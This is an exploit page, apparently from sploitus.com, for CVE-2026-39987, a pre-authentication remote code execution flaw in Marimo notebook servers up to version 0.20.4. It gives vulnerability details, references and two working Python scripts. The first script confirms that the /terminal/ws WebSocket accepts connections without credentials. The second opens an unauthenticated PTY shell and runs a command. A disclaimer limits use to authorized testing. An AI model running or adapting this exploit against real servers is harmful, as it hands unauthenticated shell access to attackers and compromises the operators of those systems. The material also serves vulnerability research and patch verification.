Share
## https://sploitus.com/exploit?id=3FB6634C-D5B2-5558-836C-394AF35624C1
# CVE-2026-39987 โ€” Marimo Pre-Auth RCE

> **For educational and authorized security research purposes only.**

## Description

Pre-authenticated Remote Code Execution in Marimo <= 0.20.4.  
The WebSocket endpoint `/terminal/ws` skips authentication validation, allowing an unauthenticated attacker to obtain a full interactive PTY shell via a single connection.

- **CVSS v4.0:** 9.3 (Critical)
- **CWE:** CWE-306 (Missing Authentication for Critical Function)
- **Affected versions:** <= 0.20.4
- **Fixed version:** 0.23.0

---

## Requirements

- Python 3
- `websockets` (`pip install websockets`)
- Network access to port 2718 on the target

---

## Endpoint Verification

Confirms the endpoint accepts connections without credentials:

```python
import socket, base64, os

host = '127.0.0.1'
port = 2718
path = '/terminal/ws'

key = base64.b64encode(os.urandom(16)).decode()

handshake = (
    f'GET {path} HTTP/1.1\r\n'
    f'Host: {host}:{port}\r\n'
    f'Upgrade: websocket\r\n'
    f'Connection: Upgrade\r\n'
    f'Sec-WebSocket-Key: {key}\r\n'
    f'Sec-WebSocket-Version: 13\r\n'
    f'Sec-WebSocket-Protocol: terminal\r\n'
    f'\r\n'
)

s = socket.socket()
s.connect((host, port))
s.send(handshake.encode())
resp = s.recv(4096).decode(errors='ignore')
print(resp[:200])
s.close()
```

**Expected result:** `HTTP/1.1 101 Switching Protocols`

---

## Exploit

```python
import asyncio, websockets, re

async def exploit(host, port):
    uri = f"ws://{host}:{port}/terminal/ws"
    async with websockets.connect(uri, subprotocols=["terminal"]) as ws:
        print("[+] Connection established without authentication")
        await asyncio.sleep(0.3)

        # Read initial PTY banner
        try:
            msg = await asyncio.wait_for(ws.recv(), timeout=2)
            print("[PTY banner]:", repr(msg))
        except asyncio.TimeoutError:
            pass

        # Send command
        await ws.send("id\n")
        await asyncio.sleep(0.5)

        # Read frames until timeout
        output = []
        while True:
            try:
                msg = await asyncio.wait_for(ws.recv(), timeout=1.5)
                output.append(msg)
            except asyncio.TimeoutError:
                break

        clean = re.sub(r'\x1b\[[0-9;?]*[a-zA-Z]', '', "".join(output)).strip()
        print("[RCE output]:", clean)

asyncio.run(exploit("127.0.0.1", 2718))
```
---

## References

- https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc
- https://nvd.nist.gov/vuln/detail/CVE-2026-39987
- https://github.com/marimo-team/marimo/commit/c24d4806398f30be6b12acd6c60d1d7c68cfd12a
- https://github.com/rxerium/rxerium-templates/blob/main/2026/CVE-2026-39987.yaml

---

## Disclaimer

This tool is provided for **educational purposes and authorized security testing only**. Unauthorized use against systems you do not own or have explicit written permission to test is illegal. The author is not responsible for any misuse.